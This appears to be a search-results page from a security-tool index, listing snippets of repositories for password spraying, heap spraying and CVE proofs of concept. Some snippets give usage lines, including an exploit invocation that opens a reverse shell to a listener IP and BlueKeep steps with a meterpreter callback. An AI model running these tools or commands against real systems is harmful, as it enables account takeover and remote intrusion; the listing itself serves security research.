561 matches found
CredKing
CredKing Overview Benefits Basic Usage Plugin Usage Gmail Okta Installation Development Plugin specific arguments Overview Easily launch a password spray using AWS Lambda across multiple regions, rotating IP addresses with each request. Brought to you by: Benefits Fully supports all AWS Lambda...
CredMaster
CredMaster Launch a password spray / brute force attach via Amazon AWS passthrough proxies, shifting the requesting IP address for every authentication attempt. This dynamically creates FireProx APIs for more evasive password sprays. Shoutout to @ustayready for his CredKing and FireProx tools,...
Ruby_Pricise_Heap_Spray
RubyPriciseHeapSpray Use ruby strings to do a precise heap spray in an win7 env ps. 0c0c0c0c you will have to adjust the last number of iterations on how many times u call the spray function. that's bc of how ruby works.... basically ruby decides to delete all heap allocs of certain sizes if for...
Mirai-Spray
Mirai-Spray Scans typical Mirai loader/hostlists format with Hydra. This can be used to check if a list of hosts are able to be connected to. INSTALLATION root@kitploit: apt update -y && apt upgrade -y apt install tor git clone https://github.com/Skotizo/Mirai-Spray cd Mirai-spray g++ main.cpp -o...
CVE20131491-JIT
========================= Title ========================================= CVE-2013-1491 PoC using JIT-Spray by Yuki Chen 古河 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ Twitter: @guhe120 Weibo: http://weibo.com/u/1874932054 ========================= About this PoC...
CVE-2021-40449-Exploit
CVE-2021-40449-Exploit olny worker on windows 10 14393,and windows 10 17763 Use Palette to Spay and RtlSetAllBits to Write...
CVE-2026-23918-Double-free-Apache-httpd-mod_http2
CVE-2026-23918 - Apache httpd modhttp2 PoC This repository contains a proof-of-concept implementation written in Go for a pre-authentication memory corruption scenario affecting Apache httpd with modhttp2. The code in this repository demonstrates a spray-and-trigger approach against a vulnerable...
aad-sso-enum-brute-spray
aad-sso-enum-brute-spray POC of SecureWorks' recent Azure Active Directory password brute-forcing vuln Description This code is a proof-of-concept of the recently revealed Azure Active Directory password brute-forcing vulnerability announced by Secureworks here is the Ars Technica article that...
cve-2019-0708_bluekeep_rce
Run msfconsole meterpreter/multi/handler listening on 192.168.116.133:6000 2. cd rdesktop-1.5.0 && make 3. Edit config, configure callback IP and port 192.168.116.133 6000 4. Execute ./heapspray 192.168.116.134 134 is the XP address, memory = 2G 5. msfconsole meterpreter will get a session ps:...
CVE-2026-42945-NGINX-Rift
CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...
Spray
Spray A Password Spraying tool for Active Directory Credentials by Jacob WilkinGreenwolf Getting Started These instructions will show you the requirements for and how to use Spray. Prerequisites All requirements come preinstalled on Kali Linux, to run on other flavors or Mac just make sure curlow...
RDPassSpray
RDPassSpray RDPassSpary es una herramienta Python para realizar un ataque de pulverización de contraseñas en un entorno de dominio Microsoft. SIEMPRE VERIFICA LA POLÍTICA DE BLOQUEO PARA EVITAR BLOQUEAR USUARIOS. Cómo usarlo Primero, instala las dependencias necesarias: root@kitploit: pip3 instal...
cve-2025-21479-iqoo11pro
CVE-2025-21479 临时 Root（iQOO 11 系列） 版本 项目| 值 ---|--- 设备| vivo iQOO 11 Pro（PD2254 / V2254A） 系统| Android 15，PD2254BA15.2.12.2.W10 内核| 5.15.178-g3dc7c01077b8-dirty SoC| Snapdragon 8 Gen 2（SM8550 / kalama） GPU| Adreno 740，OpenGL ES 3.2 [email protected] 已支持机型...
CVE-2018-4121
CVE-2018-4121 - Safari Wasm Sections POC RCE Exploit by MWR Labs c 2018 Details this proof of concept exploit targets Safari 11.0.3 13604.5.6 on macOS 10.13.3 17D47 versions only. compile the payload of your choice as a dylib with a constructor run python filetojsarray.py your.dylib payload.js...
VBA-macro-experiments
VBA macro experiments Collection of VBA macros published in our twitter / blog. If you are interested about this topic, please read our articles "Hacking in an epistolary way: implementing kerberoast in pure VBA" and "Shedding light on creating VBA macros". Also feel free to follow our twitter ;...
BlackHat-Europe-2022
BlackHat-Europe-2022 Select Bugs From Binary Where Pattern Like CVE-1337-Days Abstract Static code review is an effective way to discover vulnerability variants and exploitation primitives, but two of the most challenging tasks for static analysis are the effective code pattern extraction from hu...
0day-security-software-vulnerability-analysis-technology
0day-security-software-vulnerability-analysis-technology Notes on Using the Companion Resource Pack for "0day Security: Software Vulnerability Analysis Technology Second Edition" The materials in this resource pack are for learning purposes only. No organization, individual, or institution may us...
MSF_PassSpray_Wordlist_Generator
Generador de Listas de Palabras para Password Spray Una herramienta útil que te ayuda a crear tu propia lista de palabras para el framework Metasploit, con el fin de llevar a cabo un ataque de password spray contra varios protocolos de red en el dominio de tus víctimas, como SMB : Descripción...
CVE-2025-21756
CVE-2025-21756 — Exploitation Lab For educational and authorized security research purposes only. Description CVE-2025-21756 is a use-after-free UAF vulnerability in the Linux kernel's vsock Virtual Socket subsystem, disclosed on February 26, 2025. It allows a local attacker to escalate privilege...